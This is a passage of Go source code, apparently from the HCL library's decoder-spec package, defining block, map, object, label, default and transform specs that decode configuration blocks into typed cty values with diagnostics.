body. type ExprSpec struct { Expr hcl.Expression } func (s *ExprSpec) visitSameBodyChildren(cb visitFunc) { // leaf node } // specNeedingVariables implementation func (s *ExprSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { return s.Expr.Variables() } func (s *ExprSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return s.Expr.Value(ctx) } func (s *ExprSpec) impliedType() cty.Type { // We can't know the type of our expression until we evaluate it return cty.DynamicPseudoType } func (s *ExprSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { return s.Expr.Range() } // A BlockSpec is a Spec that produces a cty.Value by decoding the contents // of a single nested block of a given type, using a nested spec. // // If the Required flag is not set, the nested block may be omitted, in which // case a null value is produced. If it _is_ set, an error diagnostic is // produced if there are no nested blocks of the given type. type BlockSpec struct { TypeName string Nested Spec Required bool } func (s *BlockSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: findLabelSpecs(s.Nested), }, } } // blockSpec implementation func (s *BlockSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return nil } return Variables(childBlock.Body, s.Nested) } func (s *BlockSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } if childBlock != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Duplicate %s block", s.TypeName), Detail: fmt.Sprintf( "Only one block of type %q is allowed. Previous definition was at %s.", s.TypeName, childBlock.DefRange.String(), ), Subject: &candidate.DefRange, }) break } childBlock = candidate } if childBlock == nil { if s.Required { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Missing %s block", s.TypeName), Detail: fmt.Sprintf( "A block of type %q is required here.", s.TypeName, ), Subject: &content.MissingItemRange, }) } return cty.NullVal(s.Nested.impliedType()), diags } if s.Nested == nil { panic("BlockSpec with no Nested Spec") } val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false) diags = append(diags, childDiags...) return val, diags } func (s *BlockSpec) impliedType() cty.Type { return s.Nested.impliedType() } func (s *BlockSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockListSpec is a Spec that produces a cty list of the results of // decoding all of the nested blocks of a given type, using a nested spec. type BlockListSpec struct { TypeName string Nested Spec MinItems int MaxItems int } func (s *BlockListSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockListSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: findLabelSpecs(s.Nested), }, } } // blockSpec implementation func (s *BlockListSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockListSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var ret []hcl.Traversal for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } ret = append(ret, Variables(childBlock.Body, s.Nested)...) } return ret } func (s *BlockListSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics if s.Nested == nil { panic("BlockListSpec with no Nested Spec") } var elems []cty.Value var sourceRanges []hcl.Range for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false) diags = append(diags, childDiags...) if u, ok := childBlock.Body.(UnknownBody); ok { if u.Unknown() { // If any block Body is unknown, then the entire block value // must be unknown return cty.UnknownVal(s.impliedType()), diags } } elems = append(elems, val) sourceRanges = append(sourceRanges, sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)) } if len(elems) < s.MinItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Insufficient %s blocks", s.TypeName), Detail: fmt.Sprintf("At least %d %q blocks are required.", s.MinItems, s.TypeName), Subject: &content.MissingItemRange, }) } else if s.MaxItems > 0 && len(elems) > s.MaxItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Too many %s blocks", s.TypeName), Detail: fmt.Sprintf("No more than %d %q blocks are allowed", s.MaxItems, s.TypeName), Subject: &sourceRanges[s.MaxItems], }) } if len(elems) == 0 { return cty.ListValEmpty(s.Nested.impliedType()), diags } // Since our target is a list, all of the decoded elements must have the // same type or cty.ListVal will panic below. Different types can arise // if there is an attribute spec of type cty.DynamicPseudoType in the // nested spec; all given values must be convertible to a single type // in order for the result to be considered valid. etys := make([]cty.Type, len(elems)) for i, v := range elems { etys[i] = v.Type() } ety, convs := convert.UnifyUnsafe(etys) if ety == cty.NilType { // FIXME: This is a pretty terrible error message. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Inconsistent argument types in %s blocks", s.TypeName), Detail: "Corresponding attributes in all blocks of this type must be the same.", Subject: &sourceRanges[0], }) return cty.DynamicVal, diags } for i, v := range elems { if convs[i] != nil { newV, err := convs[i](v) if err != nil { // FIXME: This is a pretty terrible error message. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Inconsistent argument types in %s blocks", s.TypeName), Detail: fmt.Sprintf("Block with index %d has inconsistent argument types: %s.", i, err), Subject: &sourceRanges[i], }) // Bail early here so we won't panic below in cty.ListVal return cty.DynamicVal, diags } elems[i] = newV } } return cty.ListVal(elems), diags } func (s *BlockListSpec) impliedType() cty.Type { return cty.List(s.Nested.impliedType()) } func (s *BlockListSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We return the source range of the _first_ block of the given type, // since they are not guaranteed to form a contiguous range. var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockTupleSpec is a Spec that produces a cty tuple of the results of // decoding all of the nested blocks of a given type, using a nested spec. // // This is similar to BlockListSpec, but it permits the nested blocks to have // different result types in situations where cty.DynamicPseudoType attributes // are present. type BlockTupleSpec struct { TypeName string Nested Spec MinItems int MaxItems int } func (s *BlockTupleSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockTupleSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: findLabelSpecs(s.Nested), }, } } // blockSpec implementation func (s *BlockTupleSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockTupleSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var ret []hcl.Traversal for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } ret = append(ret, Variables(childBlock.Body, s.Nested)...) } return ret } func (s *BlockTupleSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics if s.Nested == nil { panic("BlockListSpec with no Nested Spec") } var elems []cty.Value var sourceRanges []hcl.Range for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false) diags = append(diags, childDiags...) if u, ok := childBlock.Body.(UnknownBody); ok { if u.Unknown() { // If any block Body is unknown, then the entire block value // must be unknown return cty.UnknownVal(s.impliedType()), diags } } elems = append(elems, val) sourceRanges = append(sourceRanges, sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)) } if len(elems) < s.MinItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Insufficient %s blocks", s.TypeName), Detail: fmt.Sprintf("At least %d %q blocks are required.", s.MinItems, s.TypeName), Subject: &content.MissingItemRange, }) } else if s.MaxItems > 0 && len(elems) > s.MaxItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Too many %s blocks", s.TypeName), Detail: fmt.Sprintf("No more than %d %q blocks are allowed", s.MaxItems, s.TypeName), Subject: &sourceRanges[s.MaxItems], }) } if len(elems) == 0 { return cty.EmptyTupleVal, diags } return cty.TupleVal(elems), diags } func (s *BlockTupleSpec) impliedType() cty.Type { // We can't predict our type, because we don't know how many blocks // there will be until we decode. return cty.DynamicPseudoType } func (s *BlockTupleSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We return the source range of the _first_ block of the given type, // since they are not guaranteed to form a contiguous range. var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockSetSpec is a Spec that produces a cty set of the results of // decoding all of the nested blocks of a given type, using a nested spec. type BlockSetSpec struct { TypeName string Nested Spec MinItems int MaxItems int } func (s *BlockSetSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockSetSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: findLabelSpecs(s.Nested), }, } } // blockSpec implementation func (s *BlockSetSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockSetSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var ret []hcl.Traversal for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } ret = append(ret, Variables(childBlock.Body, s.Nested)...) } return ret } func (s *BlockSetSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics if s.Nested == nil { panic("BlockSetSpec with no Nested Spec") } var elems []cty.Value var sourceRanges []hcl.Range for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false) diags = append(diags, childDiags...) if u, ok := childBlock.Body.(UnknownBody); ok { if u.Unknown() { // If any block Body is unknown, then the entire block value // must be unknown return cty.UnknownVal(s.impliedType()), diags } } elems = append(elems, val) sourceRanges = append(sourceRanges, sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)) } if len(elems) < s.MinItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Insufficient %s blocks", s.TypeName), Detail: fmt.Sprintf("At least %d %q blocks are required.", s.MinItems, s.TypeName), Subject: &content.MissingItemRange, }) } else if s.MaxItems > 0 && len(elems) > s.MaxItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Too many %s blocks", s.TypeName), Detail: fmt.Sprintf("No more than %d %q blocks are allowed", s.MaxItems, s.TypeName), Subject: &sourceRanges[s.MaxItems], }) } if len(elems) == 0 { return cty.SetValEmpty(s.Nested.impliedType()), diags } // Since our target is a set, all of the decoded elements must have the // same type or cty.SetVal will panic below. Different types can arise // if there is an attribute spec of type cty.DynamicPseudoType in the // nested spec; all given values must be convertible to a single type // in order for the result to be considered valid. etys := make([]cty.Type, len(elems)) for i, v := range elems { etys[i] = v.Type() } ety, convs := convert.UnifyUnsafe(etys) if ety == cty.NilType { // FIXME: This is a pretty terrible error message. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Inconsistent argument types in %s blocks", s.TypeName), Detail: "Corresponding attributes in all blocks of this type must be the same.", Subject: &sourceRanges[0], }) return cty.DynamicVal, diags } for i, v := range elems { if convs[i] != nil { newV, err := convs[i](v) if err != nil { // FIXME: This is a pretty terrible error message. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Inconsistent argument types in %s blocks", s.TypeName), Detail: fmt.Sprintf("Block with index %d has inconsistent argument types: %s.", i, err), Subject: &sourceRanges[i], }) // Bail early here so we won't panic below in cty.ListVal return cty.DynamicVal, diags } elems[i] = newV } } return cty.SetVal(elems), diags } func (s *BlockSetSpec) impliedType() cty.Type { return cty.Set(s.Nested.impliedType()) } func (s *BlockSetSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We return the source range of the _first_ block of the given type, // since they are not guaranteed to form a contiguous range. var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockMapSpec is a Spec that produces a cty map of the results of // decoding all of the nested blocks of a given type, using a nested spec. // // One level of map structure is created for each of the given label names. // There must be at least one given label name. type BlockMapSpec struct { TypeName string LabelNames []string Nested Spec } func (s *BlockMapSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockMapSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: append(s.LabelNames, findLabelSpecs(s.Nested)...), }, } } // blockSpec implementation func (s *BlockMapSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockMapSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var ret []hcl.Traversal for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } ret = append(ret, Variables(childBlock.Body, s.Nested)...) } return ret } func (s *BlockMapSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics if s.Nested == nil { panic("BlockMapSpec with no Nested Spec") } if ImpliedType(s).HasDynamicTypes() { panic("cty.DynamicPseudoType attributes may not be used inside a BlockMapSpec") } elems := map[string]interface{}{} for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } if u, ok := childBlock.Body.(UnknownBody); ok { if u.Unknown() { // If any block Body is unknown, then the entire block value // must be unknown return cty.UnknownVal(s.impliedType()), diags } } childLabels := labelsForBlock(childBlock) val, _, childDiags := decode(childBlock.Body, childLabels[len(s.LabelNames):], ctx, s.Nested, false) targetMap := elems for _, key := range childBlock.Labels[:len(s.LabelNames)-1] { if _, exists := targetMap[key]; !exists { targetMap[key] = make(map[string]interface{}) } targetMap = targetMap[key].(map[string]interface{}) } diags = append(diags, childDiags...) key := childBlock.Labels[len(s.LabelNames)-1] if _, exists := targetMap[key]; exists { labelsBuf := bytes.Buffer{} for _, label := range childBlock.Labels { fmt.Fprintf(&labelsBuf, " %q", label) } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Duplicate %s block", s.TypeName), Detail: fmt.Sprintf( "A block for %s%s was already defined. The %s labels must be unique.", s.TypeName, labelsBuf.String(), s.TypeName, ), Subject: &childBlock.DefRange, }) continue } targetMap[key] = val } if len(elems) == 0 { return cty.MapValEmpty(s.Nested.impliedType()), diags } var ctyMap func(map[string]interface{}, int) cty.Value ctyMap = func(raw map[string]interface{}, depth int) cty.Value { vals := make(map[string]cty.Value, len(raw)) if depth == 1 { for k, v := range raw { vals[k] = v.(cty.Value) } } else { for k, v := range raw { vals[k] = ctyMap(v.(map[string]interface{}), depth-1) } } return cty.MapVal(vals) } return ctyMap(elems, len(s.LabelNames)), diags } func (s *BlockMapSpec) impliedType() cty.Type { ret := s.Nested.impliedType() for _ = range s.LabelNames { ret = cty.Map(ret) } return ret } func (s *BlockMapSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We return the source range of the _first_ block of the given type, // since they are not guaranteed to form a contiguous range. var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockObjectSpec is a Spec that produces a cty object of the results of // decoding all of the nested blocks of a given type, using a nested spec. // // One level of object structure is created for each of the given label names. // There must be at least one given label name. // // This is similar to BlockMapSpec, but it permits the nested blocks to have // different result types in situations where cty.DynamicPseudoType attributes // are present. type BlockObjectSpec struct { TypeName string LabelNames []string Nested Spec } func (s *BlockObjectSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockObjectSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: append(s.LabelNames, findLabelSpecs(s.Nested)...), }, } } // blockSpec implementation func (s *BlockObjectSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockObjectSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var ret []hcl.Traversal for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } ret = append(ret, Variables(childBlock.Body, s.Nested)...) } return ret } func (s *BlockObjectSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics if s.Nested == nil { panic("BlockObjectSpec with no Nested Spec") } elems := map[string]interface{}{} for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } if u, ok := childBlock.Body.(UnknownBody); ok { if u.Unknown() { // If any block Body is unknown, then the entire block value // must be unknown return cty.UnknownVal(s.impliedType()), diags } } childLabels := labelsForBlock(childBlock) val, _, childDiags := decode(childBlock.Body, childLabels[len(s.LabelNames):], ctx, s.Nested, false) targetMap := elems for _, key := range childBlock.Labels[:len(s.LabelNames)-1] { if _, exists := targetMap[key]; !exists { targetMap[key] = make(map[string]interface{}) } targetMap = targetMap[key].(map[string]interface{}) } diags = append(diags, childDiags...) key := childBlock.Labels[len(s.LabelNames)-1] if _, exists := targetMap[key]; exists { labelsBuf := bytes.Buffer{} for _, label := range childBlock.Labels { fmt.Fprintf(&labelsBuf, " %q", label) } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Duplicate %s block", s.TypeName), Detail: fmt.Sprintf( "A block for %s%s was already defined. The %s labels must be unique.", s.TypeName, labelsBuf.String(), s.TypeName, ), Subject: &childBlock.DefRange, }) continue } targetMap[key] = val } if len(elems) == 0 { return cty.EmptyObjectVal, diags } var ctyObj func(map[string]interface{}, int) cty.Value ctyObj = func(raw map[string]interface{}, depth int) cty.Value { vals := make(map[string]cty.Value, len(raw)) if depth == 1 { for k, v := range raw { vals[k] = v.(cty.Value) } } else { for k, v := range raw { vals[k] = ctyObj(v.(map[string]interface{}), depth-1) } } return cty.ObjectVal(vals) } return ctyObj(elems, len(s.LabelNames)), diags } func (s *BlockObjectSpec) impliedType() cty.Type { // We can't predict our type, since we don't know how many blocks are // present and what labels they have until we decode. return cty.DynamicPseudoType } func (s *BlockObjectSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We return the source range of the _first_ block of the given type, // since they are not guaranteed to form a contiguous range. var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockAttrsSpec is a Spec that interprets a single block as if it were // a map of some element type. That is, each attribute within the block // becomes a key in the resulting map and the attribute's value becomes the // element value, after conversion to the given element type. The resulting // value is a cty.Map of the given element type. // // This spec imposes a validation constraint that there be exactly one block // of the given type name and that this block may contain only attributes. The // block does not accept any labels. // // This is an alternative to an AttrSpec of a map type for situations where // block syntax is desired. Note that block syntax does not permit dynamic // keys, construction of the result via a "for" expression, etc. In most cases // an AttrSpec is preferred if the desired result is a map whose keys are // chosen by the user rather than by schema. type BlockAttrsSpec struct { TypeName string ElementType cty.Type Required bool } func (s *BlockAttrsSpec) visitSameBodyChildren(cb visitFunc) { // leaf node } // blockSpec implementation func (s *BlockAttrsSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: nil, }, } } // blockSpec implementation func (s *BlockAttrsSpec) nestedSpec() Spec { // This is an odd case: we aren't actually going to apply a nested spec // in this case, since we're going to interpret the body directly as // attributes, but we need to return something non-nil so that the // decoder will recognize this as a block spec. We won't actually be // using this for anything at decode time. return noopSpec{} } // specNeedingVariables implementation func (s *BlockAttrsSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { block, _ := s.findBlock(content) if block == nil { return nil } var vars []hcl.Traversal attrs, diags := block.Body.JustAttributes() if diags.HasErrors() { return nil } for _, attr := range attrs { vars = append(vars, attr.Expr.Variables()...) } // We'll return the variables references in source order so that any // error messages that result are also in source order. sort.Slice(vars, func(i, j int) bool { return vars[i].SourceRange().Start.Byte < vars[j].SourceRange().Start.Byte }) return vars } func (s *BlockAttrsSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics block, other := s.findBlock(content) if block == nil { if s.Required { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Missing %s block", s.TypeName), Detail: fmt.Sprintf( "A block of type %q is required here.", s.TypeName, ), Subject: &content.MissingItemRange, }) } return cty.NullVal(cty.Map(s.ElementType)), diags } if other != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Duplicate %s block", s.TypeName), Detail: fmt.Sprintf( "Only one block of type %q is allowed. Previous definition was at %s.", s.TypeName, block.DefRange.String(), ), Subject: &other.DefRange, }) } attrs, attrDiags := block.Body.JustAttributes() diags = append(diags, attrDiags...) if len(attrs) == 0 { return cty.MapValEmpty(s.ElementType), diags } vals := make(map[string]cty.Value, len(attrs)) for name, attr := range attrs { if decodeFn := customdecode.CustomExpressionDecoderForType(s.ElementType); decodeFn != nil { attrVal, attrDiags := decodeFn(attr.Expr, ctx) diags = append(diags, attrDiags...) if attrVal == cty.NilVal { attrVal = cty.UnknownVal(s.ElementType) } vals[name] = attrVal continue } attrVal, attrDiags := attr.Expr.Value(ctx) diags = append(diags, attrDiags...) attrVal, err := convert.Convert(attrVal, s.ElementType) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid attribute value", Detail: fmt.Sprintf("Invalid value for attribute of %q block: %s.", s.TypeName, err), Subject: attr.Expr.Range().Ptr(), Context: hcl.RangeBetween(attr.NameRange, attr.Expr.Range()).Ptr(), Expression: attr.Expr, EvalContext: ctx, }) attrVal = cty.UnknownVal(s.ElementType) } vals[name] = attrVal } return cty.MapVal(vals), diags } func (s *BlockAttrsSpec) impliedType() cty.Type { return cty.Map(s.ElementType) } func (s *BlockAttrsSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { block, _ := s.findBlock(content) if block == nil { return content.MissingItemRange } return block.DefRange } func (s *BlockAttrsSpec) findBlock(content *hcl.BodyContent) (block *hcl.Block, other *hcl.Block) { for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } if block != nil { return block, candidate } block = candidate } return block, nil } // A BlockLabelSpec is a Spec that returns a cty.String representing the // label of the block its given body belongs to, if indeed its given body // belongs to a block. It is a programming error to use this in a non-block // context, so this spec will panic in that case. // // This spec only works in the nested spec within a BlockSpec, BlockListSpec, // BlockSetSpec or BlockMapSpec. // // The full set of label specs used against a particular block must have a // consecutive set of indices starting at zero. The maximum index found // defines how many labels the corresponding blocks must have in cty source. type BlockLabelSpec struct { Index int Name string } func (s *BlockLabelSpec) visitSameBodyChildren(cb visitFunc) { // leaf node } func (s *BlockLabelSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { if s.Index >= len(blockLabels) { panic("BlockListSpec used in non-block context") } return cty.StringVal(blockLabels[s.Index].Value), nil } func (s *BlockLabelSpec) impliedType() cty.Type { return cty.String // labels are always strings } func (s *BlockLabelSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { if s.Index >= len(blockLabels) { panic("BlockListSpec used in non-block context") } return blockLabels[s.Index].Range } func findLabelSpecs(spec Spec) []string { maxIdx := -1 var names map[int]string var visit visitFunc visit = func(s Spec) { if ls, ok := s.(*BlockLabelSpec); ok { if maxIdx < ls.Index { maxIdx = ls.Index } if names == nil { names = make(map[int]string) } names[ls.Index] = ls.Name } s.visitSameBodyChildren(visit) } visit(spec) if maxIdx < 0 { return nil // no labels at all } ret := make([]string, maxIdx+1) for i := range ret { name := names[i] if name == "" { // Should never happen if the spec is conformant, since we require // consecutive indices starting at zero. name = fmt.Sprintf("missing%02d", i) } ret[i] = name } return ret } // DefaultSpec is a spec that wraps two specs, evaluating the primary first // and then evaluating the default if the primary returns a null value. // // The two specifications must have the same implied result type for correct // operation. If not, the result is undefined. // // Any requirements imposed by the "Default" spec apply even if "Primary" does // not return null. For example, if the "Default" spec is for a required // attribute then that attribute is always required, regardless of the result // of the "Primary" spec. // // The "Default" spec must not describe a nested block, since otherwise the // result of ChildBlockTypes would not be decidable without evaluation. If // the default spec _does_ describe a nested block then the result is // undefined. type DefaultSpec struct { Primary Spec Default Spec } func (s *DefaultSpec) visitSameBodyChildren(cb visitFunc) { cb(s.Primary) cb(s.Default) } func (s *DefaultSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { val, diags := s.Primary.decode(content, blockLabels, ctx) if val.IsNull() { var moreDiags hcl.Diagnostics val, moreDiags = s.Default.decode(content, blockLabels, ctx) diags = append(diags, moreDiags...) } return val, diags } func (s *DefaultSpec) impliedType() cty.Type { return s.Primary.impliedType() } // attrSpec implementation func (s *DefaultSpec) attrSchemata() []hcl.AttributeSchema { // We must pass through the union of both of our nested specs so that // we'll have both values available in the result. var ret []hcl.AttributeSchema if as, ok := s.Primary.(attrSpec); ok { ret = append(ret, as.attrSchemata()...) } if as, ok := s.Default.(attrSpec); ok { ret = append(ret, as.attrSchemata()...) } return ret } // blockSpec implementation func (s *DefaultSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { // Only the primary spec may describe a block, since otherwise // our nestedSpec method below can't know which to return. if bs, ok := s.Primary.(blockSpec); ok { return bs.blockHeaderSchemata() } return nil } // blockSpec implementation func (s *DefaultSpec) nestedSpec() Spec { if bs, ok := s.Primary.(blockSpec); ok { return bs.nestedSpec() } return nil } func (s *DefaultSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We can't tell from here which of the two specs will ultimately be used // in our result, so we'll just assume the first. This is usually the right // choice because the default is often a literal spec that doesn't have a // reasonable source range to return anyway. return s.Primary.sourceRange(content, blockLabels) } // TransformExprSpec is a spec that wraps another and then evaluates a given // hcl.Expression on the result. // // The implied type of this spec is determined by evaluating the expression // with an unknown value of the nested spec's implied type, which may cause // the result to be imprecise. This spec should not be used in situations where // precise result type information is needed. type TransformExprSpec struct { Wrapped Spec Expr hcl.Expression TransformCtx *hcl.EvalContext VarName string } func (s *TransformExprSpec) visitSameBodyChildren(cb visitFunc) { cb(s.Wrapped) } func (s *TransformExprSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { wrappedVal, diags := s.Wrapped.decode(content, blockLabels, ctx) if diags.HasErrors() { // We won't try to run our function in this case, because it'll probably // generate confusing additional errors that will distract from the // root cause. return cty.UnknownVal(s.impliedType()), diags } chiCtx := s.TransformCtx.NewChild() chiCtx.Variables = map[string]cty.Value{ s.VarName: wrappedVal, } resultVal, resultDiags := s.Expr.Value(chiCtx) diags = append(diags, resultDiags...) return resultVal, diags } func (s *TransformExprSpec) impliedType() cty.Type { wrappedTy := s.Wrapped.impliedType() chiCtx := s.TransformCtx.NewChild() chiCtx.Variables = map[string]cty.Value{ s.VarName: cty.UnknownVal(wrappedTy), } resultVal, _ := s.Expr.Value(chiCtx) return resultVal.Type() } func (s *TransformExprSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We'll just pass through our wrapped range here, even though that's // not super-accurate, because there's nothing better to return. return s.Wrapped.sourceRange(content, blockLabels) } // TransformFuncSpec is a spec that wraps another and then evaluates a given // cty function with the result. The given function must expect exactly one // argument, where the result of the wrapped spec will be passed. // // The implied type of this spec is determined by type-checking the function // with an unknown value of the nested spec's implied type, which may cause // the result to be imprecise. This spec should not be used in situations where // precise result type information is needed. // // If the given function produces an error when run, this spec will produce // a non-user-actionable diagnostic message. It's the caller's responsibility // to ensure that the given function cannot fail for any non-error result // of the wrapped spec. type TransformFuncSpec struct { Wrapped Spec Func function.Function } func (s *TransformFuncSpec) 